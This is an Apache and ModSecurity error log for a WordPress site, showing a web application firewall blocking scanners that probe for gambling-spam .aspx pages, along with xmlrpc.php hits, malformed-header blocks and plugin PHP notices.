[Sat Mar 21 22:55:01.336019 2026] [:error] [pid 1490:tid 1536] [client 151.196.18.82:53826] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ab6xRWSWhIPTatyxDeB0twAAAEM"]
[Sat Mar 21 22:55:03.752908 2026] [:error] [pid 33456:tid 33476] [client 151.196.18.82:53848] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ab6xRw-0Ziq_OzjHFfU75QAAAZI"]
[Sat Mar 21 22:55:04.609365 2026] [:error] [pid 33348:tid 33361] [client 151.196.18.82:53850] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ab6xSDEj9d9zzbs_KjgRrQAAAUo"]
[Sat Mar 21 22:55:07.059208 2026] [:error] [pid 49170:tid 49178] [client 151.196.18.82:53866] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ab6xS71KUC-QISS0eWo1EQAAAQY"]
[Sat Mar 21 22:55:07.898051 2026] [:error] [pid 43052:tid 43056] [client 151.196.18.82:53868] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ab6xS15fjm-AiInC1hJQIgAAA4I"]
[Sat Mar 21 22:55:10.218569 2026] [:error] [pid 33456:tid 33464] [client 151.196.18.82:53882] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ab6xTg-0Ziq_OzjHFfU75wAAAYY"]
[Sat Mar 21 22:55:11.055680 2026] [:error] [pid 33348:tid 33373] [client 151.196.18.82:53886] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ab6xTzEj9d9zzbs_KjgRsAAAAVY"]
[Sat Mar 21 22:55:13.534403 2026] [:error] [pid 1490:tid 1550] [client 151.196.18.82:53905] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ab6xUWSWhIPTatyxDeB0yQAAAE8"]
[Sat Mar 21 22:55:14.367836 2026] [:error] [pid 33456:tid 33471] [client 151.196.18.82:53913] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ab6xUg-0Ziq_OzjHFfU76wAAAY0"]
[Sat Mar 21 22:55:16.860805 2026] [:error] [pid 1489:tid 1518] [client 151.196.18.82:53923] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ab6xVFRvnvBO_DG9kxsriQAAAA4"]
[Sat Mar 21 22:55:17.712744 2026] [:error] [pid 1489:tid 1517] [client 151.196.18.82:53931] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ab6xVVRvnvBO_DG9kxsrjgAAAA0"]
[Sat Mar 21 22:55:20.190002 2026] [:error] [pid 49170:tid 49182] [client 151.196.18.82:53943] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ab6xWL1KUC-QISS0eWo1IAAAAQo"]
[Sat Mar 21 22:55:21.041757 2026] [:error] [pid 49170:tid 49180] [client 151.196.18.82:53949] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ab6xWb1KUC-QISS0eWo1IwAAAQg"]
[Sat Mar 21 22:55:23.475245 2026] [:error] [pid 49170:tid 49186] [client 151.196.18.82:53969] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ab6xW71KUC-QISS0eWo1JQAAAQ4"]
[Sat Mar 21 22:55:24.309501 2026] [:error] [pid 1489:tid 1503] [client 151.196.18.82:53975] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ab6xXFRvnvBO_DG9kxsrkwAAAAA"]
[Sat Mar 21 22:55:26.926645 2026] [:error] [pid 49170:tid 49194] [client 151.196.18.82:53991] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ab6xXr1KUC-QISS0eWo1JgAAARY"]
[Sat Mar 21 22:55:27.770889 2026] [:error] [pid 42886:tid 42888] [client 151.196.18.82:53997] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ab6xX1452dC6nbNWav2NkwAAAwA"]
[Sat Mar 21 22:55:30.138327 2026] [:error] [pid 43052:tid 43064] [client 151.196.18.82:54009] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ab6xYl5fjm-AiInC1hJQOwAAA4o"]
[Sat Mar 21 22:55:30.966901 2026] [:error] [pid 33678:tid 33704] [client 151.196.18.82:54012] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ab6xYjuClB_om73sXhdy1gAAAhg"]
[Sat Mar 21 22:55:33.303571 2026] [:error] [pid 43052:tid 43077] [client 151.196.18.82:54032] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ab6xZV5fjm-AiInC1hJQQwAAA5c"]
[Sat Mar 21 22:55:34.135507 2026] [:error] [pid 1491:tid 1569] [client 151.196.18.82:54039] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ab6xZq3VfHftzE9w9t5nwgAAAIY"]
[Sat Mar 21 22:55:36.655205 2026] [:error] [pid 43052:tid 43072] [client 151.196.18.82:54055] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ab6xaF5fjm-AiInC1hJQRwAAA5I"]
[Sat Mar 21 22:55:37.503339 2026] [:error] [pid 33584:tid 33598] [client 151.196.18.82:54058] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ab6xaeATEQBBo5z2Hkmr7QAAAcw"]
[Sat Mar 21 22:55:39.954332 2026] [:error] [pid 43052:tid 43074] [client 151.196.18.82:54076] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ab6xa15fjm-AiInC1hJQTgAAA5Q"]
[Sat Mar 21 22:55:40.797466 2026] [:error] [pid 49170:tid 49189] [client 151.196.18.82:54080] [client 151.196.18.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ab6xbL1KUC-QISS0eWo1QAAAARE"]
[Sun Mar 22 01:33:52.938356 2026] [:error] [pid 40782:tid 41053] [client 95.86.136.69:39460] [client 95.86.136.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.86.136.69, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ab7WgOaE0aGWZHNA90t-WgAAAJQ"]
[Sun Mar 22 04:27:37.560719 2026] [:error] [pid 51363:tid 51443] [client 43.159.145.153:37444] [client 43.159.145.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ab7_OVwa9x6OCTRkhl0qvgAAAI4"]
[Sun Mar 22 04:37:32.590136 2026] [:error] [pid 51362:tid 51415] [client 49.233.45.47:58580] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ab8BjMOwPm3DXzTDjUeYsAAAAE4"]
[Sun Mar 22 06:22:53.243109 2026] [:error] [pid 51468:tid 51484] [client 74.7.242.146:50076] [client 74.7.242.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.242.146, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ab8aPU2TppSvA8W5CBSgrgAAAMg"], referer: https://vetstars.com.au/
[Sun Mar 22 12:34:45.271565 2026] [proxy_fcgi:error] [pid 51361:tid 51387] [client 103.4.122.14:37610] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sun Mar 22 12:35:05.369892 2026] [proxy_fcgi:error] [pid 51468:tid 51496] [client 103.4.122.14:37664] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Sun Mar 22 13:07:36.495904 2026] [:error] [pid 51363:tid 51454] [client 54.37.252.130:44142] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "ab95GFwa9x6OCTRkhl3cggAAAJg"]
[Sun Mar 22 13:07:39.105444 2026] [:error] [pid 51468:tid 51498] [client 54.37.252.130:50840] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "ab95G02TppSvA8W5CBRf7AAAANY"]
[Sun Mar 22 13:07:41.624859 2026] [:error] [pid 51363:tid 51446] [client 54.37.252.130:50848] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "ab95HVwa9x6OCTRkhl3ciQAAAJA"]
[Sun Mar 22 13:07:44.141018 2026] [:error] [pid 51468:tid 51498] [client 54.37.252.130:50862] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ab95IE2TppSvA8W5CBRf-AAAANY"]
[Sun Mar 22 13:07:46.736150 2026] [:error] [pid 40039:tid 40041] [client 54.37.252.130:50872] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ab95Ih3aDgUJfBYishkfSwAAAQA"]
[Sun Mar 22 13:07:49.304482 2026] [:error] [pid 51363:tid 51447] [client 54.37.252.130:40328] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ab95JVwa9x6OCTRkhl3ckgAAAJE"]
[Sun Mar 22 13:07:51.717148 2026] [:error] [pid 40039:tid 40051] [client 54.37.252.130:40342] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ab95Jx3aDgUJfBYishkfWAAAAQo"]
[Sun Mar 22 13:07:54.215703 2026] [:error] [pid 40039:tid 40056] [client 54.37.252.130:40354] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ab95Kh3aDgUJfBYishkfZAAAAQ8"]
[Sun Mar 22 13:07:56.626631 2026] [:error] [pid 51361:tid 51395] [client 54.37.252.130:40360] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ab95LBXYUsdvKC9YWpWF8QAAABY"]
[Sun Mar 22 13:07:59.051463 2026] [:error] [pid 40039:tid 40058] [client 54.37.252.130:60506] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ab95Lx3aDgUJfBYishkfcAAAARE"]
[Sun Mar 22 13:08:01.471258 2026] [:error] [pid 51363:tid 51454] [client 54.37.252.130:60522] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ab95MVwa9x6OCTRkhl3cmwAAAJg"]
[Sun Mar 22 13:08:03.911878 2026] [:error] [pid 51468:tid 51481] [client 54.37.252.130:60534] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ab95M02TppSvA8W5CBRgJAAAAMU"]
[Sun Mar 22 13:08:06.428052 2026] [:error] [pid 51363:tid 51433] [client 54.37.252.130:60538] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ab95Nlwa9x6OCTRkhl3cowAAAIU"]
[Sun Mar 22 13:08:08.835481 2026] [:error] [pid 51468:tid 51477] [client 54.37.252.130:36864] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ab95OE2TppSvA8W5CBRgNAAAAME"]
[Sun Mar 22 13:08:11.394296 2026] [:error] [pid 51363:tid 51441] [client 54.37.252.130:36870] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ab95O1wa9x6OCTRkhl3cqgAAAIw"]
[Sun Mar 22 13:08:13.817632 2026] [:error] [pid 51362:tid 51410] [client 54.37.252.130:36884] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ab95PcOwPm3DXzTDjUccTgAAAEk"]
[Sun Mar 22 13:08:16.246320 2026] [:error] [pid 40039:tid 40044] [client 54.37.252.130:36886] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ab95QB3aDgUJfBYishkfkQAAAQM"]
[Sun Mar 22 13:08:18.688775 2026] [:error] [pid 51468:tid 51482] [client 54.37.252.130:49400] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ab95Qk2TppSvA8W5CBRgUAAAAMY"]
[Sun Mar 22 13:08:21.311451 2026] [:error] [pid 40039:tid 40044] [client 54.37.252.130:49402] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ab95RR3aDgUJfBYishkfnAAAAQM"]
[Sun Mar 22 13:08:23.809398 2026] [:error] [pid 40039:tid 40047] [client 54.37.252.130:49404] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ab95Rx3aDgUJfBYishkfrwAAAQY"]
[Sun Mar 22 13:08:26.317301 2026] [:error] [pid 51362:tid 51412] [client 54.37.252.130:49408] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ab95SsOwPm3DXzTDjUccWgAAAEs"]
